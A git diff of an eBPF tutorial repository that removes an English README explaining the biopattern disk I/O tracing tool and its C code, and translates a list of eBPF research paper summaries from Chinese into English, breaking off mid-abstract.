a/src/17-biopattern/README_en.md +++ /dev/null @@ -1,332 +0,0 @@ -# eBPF Tutorial by Example 17: Count Random/Sequential Disk I/O - -eBPF (Extended Berkeley Packet Filter) is a new technology in the Linux kernel that allows users to execute custom programmes in kernel space without changing the kernel code. This provides system administrators and developers with powerful tools to gain insight into and monitor system behaviour for optimisation. - -In this tutorial, we will explore how to use eBPF to write programs to count random and sequential disk I/O. Disk I/O is one of the key metrics of computer performance, especially in data-intensive applications. - -## Random/Sequential Disk I/O - -As technology advances and data volumes explode, disk I/O becomes a critical bottleneck in system performance. The performance of an application depends heavily on how it interacts with the storage tier. Therefore, it becomes especially important to deeply understand and optimise disk I/O, especially random and sequential I/O. - -1. **Random I/O**: Random I/O occurs when an application reads or writes data from or to a non-sequential location on the disk. The main characteristic of this I/O mode is that the disk head needs to move frequently between locations, causing it to be typically slower than sequential I/O. Typical scenarios that generate random I/O include database queries, file system metadata operations, and concurrent tasks in virtualised environments. - -2. **Sequential I/O**: In contrast to random I/O, sequential I/O occurs when an application continuously reads or writes blocks of data to or from disk. The advantage of this I/O mode is that the disk head can move continuously in one direction, which greatly increases the speed at which data can be read and written. Video playback, downloading or uploading large files, and continuous logging are typical applications that generate sequential I/O. - -To optimise storage performance, it is critical to understand both random and sequential disk I/O. For example, random I/O-sensitive applications typically perform far better on SSDs than on traditional hard drives because SSDs have virtually no addressing latency when dealing with random I/Os. Conversely, for applications with a lot of sequential I/O, it is much more critical to maximize the sequential read and write speed of the disk. - -In the rest of this tutorial, we will discuss in detail how to use the eBPF tool to monitor and count both types of disk I/O in real time, which will not only help us better understand the I/O behaviour of the system, but will also provide us with strong data for further performance optimization. - -## Biopattern - -Biopattern counts the percentage of random/sequential disk I/Os. - -First of all, make sure that you have installed libbpf and the associated toolset correctly, you can find the source code here: [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) - -Navigate to the `biopattern` source directory and compile it using the `make` command: - -```bash -cd ~/bpf-developer-tutorial/src/17-biopattern -make -``` - -After successful compilation, you should see the `biopattern` executable in the current directory. The basic runtime commands are as follows: - -```bash -sudo ./biopattern [interval] [count] -``` - -For example, to print the output once per second for 10 seconds, you can run: - -```console -$ sudo ./biopattern 1 10 -Tracing block device I/O requested seeks... Hit Ctrl-C to end. -DISK %RND %SEQ COUNT KBYTES -sr0 0 100 3 0 -sr1 0 100 8 0 -sda 0 100 1 4 -sda 100 0 26 136 -sda 0 100 1 4 -``` - -The output columns have the following meanings: - -- `DISK`: Name of the disk being tracked. -- `%RND`: Percentage of random I/O. -- `%SEQ`: percentage of sequential I/O. -- `COUNT`: Number of I/O requests in the specified interval. -- `KBYTES`: amount of data (in KB) read and written in the specified time interval. - -From the above output, we can draw the following conclusions: - -- The `sr0` and `sr1` devices performed mostly sequential I/O during the observation period, but the amount of data was small. -- The `sda` device performed only random I/O during some time periods and only sequential I/O during other time periods. - -This information can help us understand the I/O pattern of the system so that we can target optimisation. - -## eBPF Biopattern Implementation Principles - -First, let's look at the eBPF kernel state code at the heart of biopattern: - -```c -#include -#include -#include -#include "biopattern.h" -#include "maps.bpf.h" -#include "core_fixes.bpf.h" - -const volatile bool filter_dev = false; -const volatile __u32 targ_dev = 0; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 64); - __type(key, u32); - __type(value, struct counter); -} counters SEC(".maps"); - -SEC("tracepoint/block/block_rq_complete") -int handle__block_rq_complete(void *args) -{ - struct counter *counterp, zero = {}; - sector_t sector; - u32 nr_sector; - u32 dev; - - if (has_block_rq_completion()) { - struct trace_event_raw_block_rq_completion___x *ctx = args; - sector = BPF_CORE_READ(ctx, sector); - nr_sector = BPF_CORE_READ(ctx, nr_sector); - dev = BPF_CORE_READ(ctx, dev); - } else { - struct trace_event_raw_block_rq_complete___x *ctx = args; - sector = BPF_CORE_READ(ctx, sector); - nr_sector = BPF_CORE_READ(ctx, nr_sector); - dev = BPF_CORE_READ(ctx, dev); - } - - if (filter_dev && targ_dev != dev) - return 0; - - counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); - if (!counterp) - return 0; - if (counterp->last_sector) { - if (counterp->last_sector == sector) - __sync_fetch_and_add(&counterp->sequential, 1); - else - __sync_fetch_and_add(&counterp->random, 1); - __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); - } - counterp->last_sector = sector + nr_sector; - return 0; -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -Global variable definitions: - -```c - const volatile bool filter_dev = false; - const volatile __u32 targ_dev = 0; -``` - -These two global variables are used for device filtering. `filter_dev` determines whether device filtering is enabled or not, and `targ_dev` is the identifier of the target device we want to track. - -BPF map definition: - -```c - struct { __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 64); __type(key, u32); - __type(value, struct counter); - } counters SEC(".maps"). -``` - -This part of the code defines a BPF map of type hash table. The key of the map is the identifier of the device, and the value is a `counter` struct, which is used to store the I/O statistics of the device. - -The tracepoint function: - -```c - SEC("tracepoint/block/block_rq_complete") - int handle__block_rq_complete(void *args) - { - struct counter *counterp, zero = {}; - sector_t sector; - u32 nr_sector; - u32 dev; - - if (has_block_rq_completion()) { - struct trace_event_raw_block_rq_completion___x *ctx = args; - sector = BPF_CORE_READ(ctx, sector); - nr_sector = BPF_CORE_READ(ctx, nr_sector); - dev = BPF_CORE_READ(ctx, dev); - } else { - struct trace_event_raw_block_rq_complete___x *ctx = args; - sector = BPF_CORE_READ(ctx, sector); - nr_sector = BPF_CORE_READ(ctx, nr_sector); - dev = BPF_CORE_READ(ctx, dev); - } - - if (filter_dev && targ_dev != dev) - return 0; - - counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); - if (!counterp) - return 0; - if (counterp->last_sector) { - if (counterp->last_sector == sector) - __sync_fetch_and_add(&counterp->sequential, 1); - else - __sync_fetch_and_add(&counterp->random, 1); - __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); - } - counterp->last_sector = sector + nr_sector; - return 0; - } -``` - -In Linux, a trace point called `block_rq_complete` is triggered every time an I/O request for a block device completes. This provides an opportunity to capture these events with eBPF and further analyse the I/O patterns. - -Main Logic Analysis: - -- **Extracting I/O request information**: get information about the I/O request from the incoming parameters. There are two possible context structures depending on the return value of `has_block_rq_completion`. This is because different versions of the Linux kernel may have different tracepoint definitions. In either case, we extract the sector number `(sector)`, the number of sectors `(nr_sector)` and the device identifier `(dev)` from the context. - -- **Device filtering**: If device filtering is enabled `(filter_dev` is `true` ) and the current device is not the target device `(targ_dev` ), it is returned directly. This allows the user to track only specific devices, not all devices. - -- **Statistics update**: - - - **Lookup or initialise statistics**: use the `bpf_map_lookup_or_try_init` function to lookup or initialise statistics related to the current device. If there is no statistics for the current device in the map, it will be initialised using the `zero` structure. -- **Determine the I/O mode**: Based on the sector number of the current I/O request and the previous I/O request, we can determine whether the current request is random or sequential. If the sector numbers of the two requests are the same, then it is sequential; otherwise, it is random. We then use the `__sync_fetch_and_add` function to update the corresponding statistics. This is an atomic operation that ensures data consistency in a concurrent environment. -- **Update the amount of data**: we also update the total amount of data for the device, which is done by multiplying the number of sectors `(nr_sector` ) by 512 (the number of bytes per sector). -- **Update the sector number of the last I/O request**: for the next comparison, we update the value of `last_sector`. - -In some versions of the Linux kernel, the naming and structure of the tracepoint has changed due to the introduction of a new tracepoint, `block_rq_error`. This means that the structural name of the former `block_rq_complete` tracepoint has been changed from `trace_event_raw_block_rq_complete` to `trace_event_raw_block_rq_completion`, a change which may cause compatibility issues with eBPF programs on different versions of the kernel. This change may cause compatibility issues with eBPF programs on different versions of the kernel. - -To address this issue, the `biopattern` utility introduces a mechanism to dynamically detect which trace point structure is currently used by the kernel, namely the `has_block_rq_completion` function. - -1. **Define two trace point structures**: - -```c - struct trace_event_raw_block_rq_complete___x { - dev_t dev; - sector_t sector; - unsigned int nr_sector; - } __attribute__((preserve_access_index)); - - struct trace_event_raw_block_rq_completion___x { - dev_t dev; - sector_t sector; - unsigned int nr_sector; - } __attribute__((preserve_access_index)); -``` - -Two tracepoint structures are defined here, corresponding to different versions of the kernel. Each structure contains a device identifier `(dev` ), sector number `(sector` ), and number of sectors `(nr_sector` ). - -**Dynamic detection of trackpoint structures**: - -```c - static __always_inline bool has_block_rq_completion() - { - if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) - return true; - return false; - } -``` - -The `has_block_rq_completion` function uses the `bpf_core_type_exists` function to detect the presence of the structure `trace_event_raw_block_rq_completion___x` in the current kernel. If it exists, the function returns `true`, indicating that the current kernel is using the new tracepoint structure; otherwise, it returns `false`, indicating that it is using the old structure. The two different definitions are handled separately in the corresponding eBPF code, which is a common solution for adapting to changes between kernel versions. - -### User State Code - -The `biopattern` tool's userland code is responsible for reading statistics from the BPF mapping and presenting them to the user. In this way, system administrators can monitor the I/O patterns of each device in real time to better understand and optimise the I/O performance of the system. - -1. Main loop - -```c - /* main: poll */ - while (1) { - sleep(env.interval); - - err = print_map(obj->maps.counters, partitions); - if (err) - break; - - if (exiting || --env.times == 0) - break; - } -``` - -This is the main loop of the `biopattern` utility, and its workflow is as follows: - -- **Wait**: use the `sleep` function to wait for the specified interval `(env.interval` ). -- `print_map`: call `print_map` function to print the statistics in BPF map. -- **Exit condition**: if an exit signal is received `(exiting` is `true` ) or if the specified number of runs is reached `(env.times` reaches 0), the loop exits. - -Print mapping function: - -```c - static int print_map(struct bpf_map *counters, struct partitions *partitions) - { - __u32 total, lookup_key = -1, next_key; - int err, fd = bpf_map__fd(counters); - const struct partition *partition; - struct counter counter; - struct tm *tm; - char ts[32]; - time_t t; - - while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { - err = bpf_map_lookup_elem(fd, &next_key, &counter); - if (err < 0) { - fprintf(stderr, "failed to lookup counters: %d\n", err); - return -1; - } - lookup_key = next_key; - total = counter.sequential + counter.random; - if (!total) - continue; - if (env.timestamp) { - time(&t); - tm = localtime(&t); - strftime(ts, sizeof(ts), "%H:%M:%S", tm); - printf("%-9s ", ts); - } - partition = partitions__get_by_dev(partitions, next_key); - printf("%-7s %5ld %5ld %8d %10lld\n", - partition ? partition->name : "Unknown", - counter.random * 100L / total, - counter.sequential * 100L / total, total, - counter.bytes / 1024); - } - - lookup_key = -1; - while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { - err = bpf_map_delete_elem(fd, &next_key); - if (err < 0) { - fprintf(stderr, "failed to cleanup counters: %d\n", err); - return -1; - } - lookup_key = next_key; - } - - return 0; - } -``` - -The `print_map` function is responsible for reading statistics from the BPF map and printing them to the console. The main logic is as follows: - -- **Traverse the BPF map**: Use the `bpf_map_get_next_key` and `bpf_map_lookup_elem` functions to traverse the BPF map and get the statistics for each device. -- **Calculate totals**: Calculate the total number of random and sequential I/Os for each device. -- **Print statistics**: If timestamp is enabled `(env.timestamp` is `true` ), the current time is printed first. Next, the device name, percentage of random I/O, percentage of sequential I/O, total I/O, and total data in KB are printed. -- **Cleaning up the BPF map**: For the next count, use the `bpf_map_get_next_key` and `bpf_map_delete_elem` functions to clean up all entries in the BPF map. - -## Summary - -In this tutorial, we have taken an in-depth look at how to use the eBPF tool biopattern to monitor and count random and sequential disk I/O in real-time. we started by understanding the importance of random and sequential disk I/O and their impact on system performance. We then describe in detail how biopattern works, including how to define and use BPF maps, how to deal with tracepoint variations in different versions of the Linux kernel, and how to capture and analyse disk I/O events in an eBPF program. - -You can visit our tutorial code repository [at https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [at https://eunomia.dev/zh/tutorials/](https://eunomia.dev/zh/tutorials/) for more examples and a complete tutorial. - -- Source repo: -- bcc tool: - -> The original link of this article: diff --git a/src/18-further-reading/.config b/src/18-further-reading/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/18-further-reading/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/18-further-reading/README.md b/src/18-further-reading/README.md index 9d9480fb..e6d8cce0 100644 --- a/src/18-further-reading/README.md +++ b/src/18-further-reading/README.md @@ -1,145 +1,142 @@ -# 更多的参考资料:论文、项目等等 +# More Reference Materials: papers, projects -可以在这里找到更多关于 eBPF 的信息: +You may find more about eBPF in these places: -- 一个关于 eBPF 相关内容和信息的详细列表: -- eBPF 相关项目、教程: +- A curated list of awesome projects related to eBPF: +- A website of eBPF projects and tutorials: -这是我近年来读过的与 eBPF 相关的论文列表,可能对于对 eBPF 相关研究感兴趣的人有所帮助。 +> The complete source code: -eBPF(扩展的伯克利数据包过滤器)是一种新兴的技术,允许在 Linux 内核中安全地执行用户提供的程序。近年来,它因加速网络处理、增强可观察性和实现可编程数据包处理而得到了广泛的应用。此文档列出了过去几年关于 eBPF 的一些关键研究论文。这些论文涵盖了 eBPF 的几个方面,包括加速分布式系统、存储和网络,正式验证 eBPF 的 JIT 编译器和验证器,将 eBPF 用于入侵检测,以及从 eBPF 程序自动生成硬件设计。 +This is also list of eBPF related papers I read in recent years, might be helpful for people who are interested in eBPF related research. -一些关键亮点: +eBPF (extended Berkeley Packet Filter) is an emerging technology that allows safe execution of user-provided programs in the Linux kernel. It has gained widespread adoption in recent years for accelerating network processing, enhancing observability, and enabling programmable packet processing. -- eBPF 允许在内核中执行自定义函数,以加速分布式协议、存储引擎和网络应用,与传统的用户空间实现相比,可以提高吞吐量和降低延迟。 -- eBPF 组件(如 JIT 和验证器)的正式验证确保了正确性,并揭示了实际实现中的错误。 -- eBPF 的可编程性和效率使其适合在内核中完全构建入侵检测和网络监控应用。 -- 从 eBPF 程序中自动生成硬件设计允许软件开发人员快速生成网络卡中的优化数据包处理管道。 +This document list some key research papers on eBPF over the past few years. The papers cover several aspects of eBPF, including accelerating distributed systems, storage, and networking, formally verifying the eBPF JIT compiler and verifier, applying eBPF for intrusion detection, and automatically generating hardware designs from eBPF programs. -这些论文展示了 eBPF 在加速系统、增强安全性和简化网络编程方面的多功能性。随着 eBPF 的采用不断增加,它是一个与性能、安全性、硬件集成和易用性相关的系统研究的重要领域。 +Some key highlights: -如果您有任何建议或添加论文的意见,请随时开放一个问题或PR。此列表创建于 2023.10,未来将添加新的论文。 +- eBPF enables executing custom functions in the kernel to accelerate distributed protocols, storage engines, and networking applications with improved throughput and lower latency compared to traditional userspace implementations. +- Formal verification of eBPF components like JIT and verifier ensures correctness and reveals bugs in real-world implementations. +- eBPF's programmability and efficiency make it suitable for building intrusion detection and network monitoring applications entirely in the kernel. +- Automated synthesis of hardware designs from eBPF programs allows software developers to quickly generate optimized packet processing pipelines in network cards. -> 如果您对 eBPF 有些进一步的兴趣的话,也可以查看我们在 [eunomia-bpf](https://github.com/eunomia-bpf) 的开源项目和 [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 的 eBPF 教程。我也在寻找 2024/2025 年系统和网络领域的 PhD 相关机会,这是我的 [Github](https://github.com/yunwei37) 和 [邮箱](yunwei356@gmail.com)。 +The papers demonstrate eBPF's versatility in accelerating systems, enhancing security, and simplifying network programming. As eBPF adoption grows, it is an important area of systems research with many open problems related to performance, safety, hardware integration, and ease of use. + +If you have any suggestions or adding papers, please feel free to open an issue or PR. The list was created in 2023.10, New papers will be added in the future. + +> Check out our open-source projects at [eunomia-bpf](https://github.com/eunomia-bpf) and eBPF tutorials at [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial). I'm also looking for a PhD position in the area of systems and networking in 2024/2025. My [Github](https://github.com/yunwei37) and [email](mailto:yunwei356@gmail.com). ## XRP: In-Kernel Storage Functions with eBPF -随着微秒级 NVMe 存储设备的出现,Linux 内核存储堆栈开销变得显著,几乎使访问时间翻倍。我们介绍了 XRP,一个框架,允许应用程序从 eBPF 在 NVMe 驱动程序中的钩子执行用户定义的存储功能,如索引查找或聚合,安全地绕过大部分内核的存储堆栈。为了保持文件系统的语义,XRP 将少量的内核状态传播到其 NVMe 驱动程序钩子,在那里调用用户注册的 eBPF 函数。我们展示了如何利用 XRP 显著提高两个键值存储,BPF-KV,一个简单的 B+ 树键值存储,和 WiredTiger,一个流行的日志结构合并树存储引擎的吞吐量和延迟。 +With the emergence of microsecond-scale NVMe storage devices, the Linux kernel storage stack overhead has become significant, almost doubling access times. We present XRP, a framework that allows applications to execute user-defined storage functions, such as index lookups or aggregations, from an eBPF hook in the NVMe driver, safely bypassing most of the kernel’s storage stack. To preserve file system semantics, XRP propagates a small amount of kernel state to its NVMe driver hook where the user-registered eBPF functions are called. We show how two key-value stores, BPF-KV, a simple B+-tree key-value store, and WiredTiger, a popular log-structured merge tree storage engine, can leverage XRP to significantly improve throughput and latency. -OSDI '22 最佳论文: +OSDI '22 Best Paper: ## Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel -本文描述了我们将形式方法应用于 Linux 内核中的一个关键组件,即 Berkeley 数据包过滤器 (BPF) 虚拟机的即时编译器 ("JIT") 的经验。我们使用 Jitterbug 验证这些 JIT,这是第一个提供 JIT 正确性的精确规范的框架,能够排除实际错误,并提供一个自动化的证明策略,该策略可以扩展到实际实现。使用 Jitterbug,我们设计、实施并验证了一个新的针对 32 位 RISC-V 的 BPF JIT,在五个其他部署的 JIT 中找到并修复了 16 个之前未知的错误,并开发了新的 JIT 优化;所有这些更改都已上传到 Linux 内核。结果表明,在一个大型的、未经验证的系统中,通过仔细设计规范和证明策略,可以构建一个经过验证的组件。 +This paper describes our experience applying formal methods to a critical component in the Linux kernel, the just-in-time compilers ("JITs") for the Berkeley Packet Filter (BPF) virtual machine. We verify these JITs using Jitterbug, the first framework to provide a precise specification of JIT correctness that is capable of ruling out real-world bugs, and an automated proof strategy that scales to practical implementations. Using Jitterbug, we have designed, implemented, and verified a new BPF JIT for 32-bit RISC-V, found and fixed 16 previously unknown bugs in five other deployed JITs, and developed new JIT optimizations; all of these changes have been upstreamed to the Linux kernel. The results show that it is possible to build a verified component within a large, unverified system with careful design of specification and proof strategy. OSDI 20: ## λ-IO: A Unified IO Stack for Computational Storage -新兴的计算存储设备为存储内计算提供了一个机会。它减少了主机与设备之间的数据移动开销,从而加速了数据密集型应用程序。在这篇文章中,我们介绍 λ-IO,一个统一的 IO 堆栈,跨主机和设备管理计算和存储资源。我们提出了一套设计 - 接口、运行时和调度 - 来解决三个关键问题。我们在全堆栈软件和硬件环境中实施了 λ-IO,并使用合成和实际应用程序对其 - -进行评估,与 Linux IO 相比,显示出高达 5.12 倍的性能提升。 +The emerging computational storage device offers an opportunity for in-storage computing. It alleviates the overhead of data movement between the host and the device, and thus accelerates data-intensive applications. In this paper, we present λ-IO, a unified IO stack managing both computation and storage resources across the host and the device. We propose a set of designs – interface, runtime, and scheduling – to tackle three critical issues. We implement λ-IO in full-stack software and hardware environment, and evaluate it with synthetic and real applications against Linux IO, showing up to 5.12× performance improvement. FAST23: ## Extension Framework for File Systems in User space -用户文件系统相对于其内核实现提供了许多优势,例如开发的简易性和更好的系统可靠性。然而,它们会导致重大的性能损失。我们观察到现有的用户文件系统框架非常通用;它们由一个位于内核中的最小干预层组成,该层简单地将所有低级请求转发到用户空间。虽然这种设计提供了灵活性,但由于频繁的内核-用户上下文切换,它也严重降低了性能。 +User file systems offer numerous advantages over their in-kernel implementations, such as ease of development and better system reliability. However, they incur heavy performance penalty. We observe that existing user file system frameworks are highly general; they consist of a minimal interposition layer in the kernel that simply forwards all low-level requests to user space. While this design offers flexibility, it also severely degrades performance due to frequent kernel-user context switching. -这项工作介绍了 ExtFUSE,一个用于开发可扩展用户文件系统的框架,该框架还允许应用程序在内核中注册"薄"的专用请求处理程序,以满足其特定的操作需求,同时在用户空间中保留复杂的功能。我们使用两个 FUSE 文件系统对 ExtFUSE 进行评估,结果表明 ExtFUSE 可以通过平均不到几百行的改动来提高用户文件系统的性能。ExtFUSE 可在 GitHub 上找到。 +This work introduces ExtFUSE, a framework for developing extensible user file systems that also allows applications to register "thin" specialized request handlers in the kernel to meet their specific operative needs, while retaining the complex functionality in user space. Our evaluation with two FUSE file systems shows that ExtFUSE can improve the performance of user file systems with less than a few hundred lines on average. ExtFUSE is available on GitHub. ATC 19: ## Electrode: Accelerating Distributed Protocols with eBPF -在标准的Linux内核网络栈下实现分布式协议可以享受到负载感知的CPU缩放、高兼容性以及强大的安全性和隔离性。但由于过多的用户-内核切换和内核网络栈遍历,其性能较低。我们介绍了Electrode,这是一套为分布式协议设计的基于eBPF的性能优化。这些优化在网络栈之前在内核中执行,但实现了与用户空间中实现的相似功能(例如,消息广播,收集ack的仲裁),从而避免了用户-内核切换和内核网络栈遍历所带来的开销。我们展示,当应用于经典的Multi-Paxos状态机复制协议时,Electrode可以提高其吞吐量高达128.4%,并将延迟降低高达41.7%。 +Implementing distributed protocols under a standard Linux kernel networking stack enjoys the benefits of load-aware CPU scaling, high compatibility, and robust security and isolation. However, it suffers from low performance because of excessive user-kernel crossings and kernel networking stack traversing. We present Electrode with a set of eBPF-based performance optimizations designed for distributed protocols. These optimizations get executed in the kernel before the networking stack but achieve similar functionalities as were implemented in user space (e.g., message broadcasting, collecting quorum of acknowledgments), thus avoiding the overheads incurred by user-kernel crossings and kernel networking stack traversing. We show that when applied to a classic Multi-Paxos state machine replication protocol, Electrode improves its throughput by up to 128.4% and latency by up to 41.7%. -NSDI 23: [链接](https://www.usenix.org/conference/nsdi23/presentation/zhou) +NSDI 23: ## BMC: Accelerating Memcached using Safe In-kernel Caching and Pre-stack Processing -内存键值存储是帮助扩展大型互联网服务的关键组件,通过提供对流行数据的低延迟访问。Memcached是最受欢迎的键值存储之一,由于Linux网络栈固有的性能限制,当使用高速网络接口时,其性能不高。虽然可以使用DPDK基础方案绕过Linux网络栈,但这种方法需要对软件栈进行完全重新设计,而且在客户端负载较低时也会导致高CPU利用率。 +In-memory key-value stores are critical components that help scale large internet services by providing low-latency access to popular data. Memcached, one of the most popular key-value stores, suffers from performance limitations inherent to the Linux networking stack and fails to achieve high performance when using high-speed network interfaces. While the Linux network stack can be bypassed using DPDK based solutions, such approaches require a complete redesign of the software stack and induce high CPU utilization even when client load is low. -为了克服这些限制,我们提出了BMC,这是一个为Memcached设计的内核缓存,可以在执行标准网络栈之前服务于请求。对BMC缓存的请求被视为NIC中断的一部分,这允许性能随着为NIC队列服务的核心数量而扩展。为确保安全,BMC使用eBPF实现。尽管eBPF具有安全约束,但我们展示了实现复杂缓存服务是可能的。因为BMC在商用硬件上运行,并且不需要修改Linux内核或Memcached应用程序,所以它可以在现有系统上广泛部署。BMC优化了Facebook样式的小型请求的处理时间。在这个目标工作负载上,我们的评估显示,与原始的Memcached应用程序相比,BMC的吞吐量提高了高达18倍,与使用SO_REUSEPORT套接字标志的优化版Memcached相比,提高了高达6倍。此外,我们的结果还显示,对于非目标工作负载,BMC的开销可以忽略不计,并且不会降低吞吐量。 +To overcome these limitations, we present BMC, an in-kernel cache for Memcached that serves requests before the execution of the standard network stack. Requests to the BMC cache are treated as part of the NIC interrupts, which allows performance to scale with the number of cores serving the NIC queues. To ensure safety, BMC is implemented using eBPF. Despite the safety constraints of eBPF, we show that it is possible to implement a complex cache service. Because BMC runs on commodity hardware and requires modification of neither the Linux kernel nor the Memcached application, it can be widely deployed on existing systems. BMC optimizes the processing time of Facebook-like small-size requests. On this target workload, our evaluations show that BMC improves throughput by up to 18x compared to the vanilla Memcached application and up to 6x compared to an optimized version of Memcached that uses the SO_REUSEPORT socket flag. In addition, our results also show that BMC has negligible overhead and does not deteriorate throughput when treating non-target workloads. -NSDI 21: [链接](https://www.usenix.org/conference/nsdi21/presentation/ghigoff) +NSDI 21: ## hXDP: Efficient Software Packet Processing on FPGA NICs -FPGA加速器在NIC上使得从CPU卸载昂贵的数据包处理任务成为可能。但是,FPGA有限的资源可能需要在多个应用程序之间共享,而编程它们则很困难。 +FPGA accelerators on the NIC enable the offloading of expensive packet processing tasks from the CPU. However, FPGAs have limited resources that may need to be shared among diverse applications, and programming them is difficult. -我们提出了一种在FPGA上运行Linux的eXpress Data Path程序的解决方案,这些程序使用eBPF编写,仅使用可用硬件资源的一部分,同时匹配高端CPU的性能。eBPF的迭代执行模型不适合FPGA加速器。尽管如此,我们展示了,当针对一个特定的FPGA执行器时,一个eBPF程序的许多指令可以被压缩、并行化或完全删除,从而显著提高性能。我们利用这一点设计了hXDP,它包括(i)一个优化编译器,该编译器并行化并将eBPF字节码转换为我们定义的扩展eBPF指令集架构;(ii)一个在FPGA上执行这些指令的软处理器;以及(iii)一个基于FPGA的基础设施,提供XDP的maps和Linux内核中定义的helper函数。 +We present a solution to run Linux's eXpress Data Path programs written in eBPF on FPGAs, using only a fraction of the available hardware resources while matching the performance of high-end CPUs. The iterative execution model of eBPF is not a good fit for FPGA accelerators. Nonetheless, we show that many of the instructions of an eBPF program can be compressed, parallelized or completely removed, when targeting a purpose-built FPGA executor, thereby significantly improving performance. We leverage that to design hXDP, which includes (i) an optimizing-compiler that parallelizes and translates eBPF bytecode to an extended eBPF Instruction-set Architecture defined by us; a (ii) soft-processor to execute such instructions on FPGA; and (iii) an FPGA-based infrastructure to provide XDP's maps and helper functions as defined within the Linux kernel. -我们在FPGA NIC上实现了hXDP,并评估了其运行真实世界的未经修改的eBPF程序的性能。我们的实现以156.25MHz的速度时钟,使用约15%的FPGA资源,并可以运行动态加载的程序。尽管有这些适度的要求,但它达到了高端CPU核心的数据包处理吞吐量,并提供了10倍低的数据包转发延迟。 +We implement hXDP on an FPGA NIC and evaluate it running real-world unmodified eBPF programs. Our implementation is clocked at 156.25MHz, uses about 15% of the FPGA resources, and can run dynamically loaded programs. Despite these modest requirements, it achieves the packet processing throughput of a high-end CPU core and provides a 10x lower packet forwarding latency. -OSDI 20: [链接](https://www.usenix.org/conference/osdi20/presentation/brunella) +OSDI 20: ## Network-Centric Distributed Tracing with DeepFlow: Troubleshooting Your Microservices in Zero Code -微服务正变得越来越复杂,给传统的性能监控解决方案带来了新的挑战。一方面,微服务的快速演变给现有的分布式跟踪框架的使用和维护带来了巨大的负担。另一方面,复杂的基础设施增加了网络性能问题的概率,并在网络侧创造了更多的盲点。在这篇论文中,我们介绍了 DeepFlow,一个用于微服务故障排除的以网络为中心的分布式跟踪框架。DeepFlow 通过一个以网络为中心的跟踪平面和隐式的上下文传播提供开箱即用的跟踪。此外,它消除了网络基础设施中的盲点,以低成本方式捕获网络指标,并增强了不同组件和层之间的关联性。我们从分析和实证上证明,DeepFlow 能够准确地定位微服务性能异常,而开销几乎可以忽略不计。DeepFlow 已经为超过26家公司发现了71多个关键性能异常,并已被数百名开发人员所使用。我们的生产评估显示,DeepFlow 能够为用户节省数小时的仪表化工作,并将故障排除时间从数小时缩短到几分钟。 +Microservices are becoming more complicated, posing new challenges for traditional performance monitoring solutions. On the one hand, the rapid evolution of microservices places a significant burden on the utilization and maintenance of existing distributed tracing frameworks. On the other hand, complex infrastructure increases the probability of network performance problems and creates more blind spots on the network side. In this paper, we present DeepFlow, a network-centric distributed tracing framework for troubleshooting microservices. DeepFlow provides out-of-the-box tracing via a network-centric tracing plane and implicit context propagation. In addition, it eliminates blind spots in network infrastructure, captures network metrics in a low-cost way, and enhances correlation between different components and layers. We demonstrate analytically and empirically that DeepFlow is capable of locating microservice performance anomalies with negligible overhead. DeepFlow has already identified over 71 critical performance anomalies for more than 26 companies and has been utilized by hundreds of individual developers. Our production evaluations demonstrate that DeepFlow is able to save users hours of instrumentation efforts and reduce troubleshooting time from several hours to just a few minutes. SIGCOMM 23: ## Fast In-kernel Traffic Sketching in eBPF -扩展的伯克利数据包过滤器(eBPF)是一个基础设施,允许在不重新编译的情况下动态加载并直接在 Linux 内核中运行微程序。 +The extended Berkeley Packet Filter (eBPF) is an infrastructure that allows to dynamically load and run micro-programs directly in the Linux kernel without recompiling it. -在这项工作中,我们研究如何在 eBPF 中开发高性能的网络测量。我们以绘图为案例研究,因为它们具有支持广泛任务的能力,同时提供低内存占用和准确性保证。我们实现了 NitroSketch,一个用于用户空间网络的最先进的绘图,并表明用户空间网络的最佳实践不能直接应用于 eBPF,因为它的性能特点不同。通过应用我们学到的经验教训,我们将其性能提高了40%,与初级实现相比。 +In this work, we study how to develop high-performance network measurements in eBPF. We take sketches as case-study, given their ability to support a wide-range of tasks while providing low-memory footprint and accuracy guarantees. We implemented NitroSketch, the state-of-the-art sketch for user-space networking and show that best practices in user-space networking cannot be directly applied to eBPF, because of its different performance characteristics. By applying our lesson learned we improve its performance by 40% compared to a naive implementation. SIGCOMM 23: ## SPRIGHT: extracting the server from serverless computing! high-performance eBPF-based event-driven, shared-memory processing -无服务器计算在云环境中承诺提供高效、低成本的计算能力。然而,现有的解决方案,如Knative这样的开源平台,包含了繁重的组件,破坏了无服务器计算的目标。此外,这种无服务器平台缺乏数据平面优化,无法实现高效的、高性能的功能链,这也是流行的微服务开发范式的设施。它们为构建功能链使用的不必要的复杂和重复的功能严重降低了性能。"冷启动"延迟是另一个威慑因素。 +Serverless computing promises an efficient, low-cost compute capability in cloud environments. However, existing solutions, epitomized by open-source platforms such as Knative, include heavyweight components that undermine this goal of serverless computing. Additionally, such serverless platforms lack dataplane optimizations to achieve efficient, high-performance function chains that facilitate the popular microservices development paradigm. Their use of unnecessarily complex and duplicate capabilities for building function chains severely degrades performance. 'Cold-start' latency is another deterrent. -我们描述了 SPRIGHT,一个轻量级、高性能、响应式的无服务器框架。SPRIGHT 利用共享内存处理显著提高了数据平面的可伸缩性,通过避免不必要的协议处理和序列化-反序列化开销。SPRIGHT 大量利用扩展的伯克利数据包过滤器 (eBPF) 进行事件驱动处理。我们创造性地使用 eBPF 的套接字消息机制支持共享内存处理,其开销严格与负载成正比。与常驻、基于轮询的DPDK相比,SPRIGHT 在真实工作负载下实现了相同的数据平面性能,但 CPU 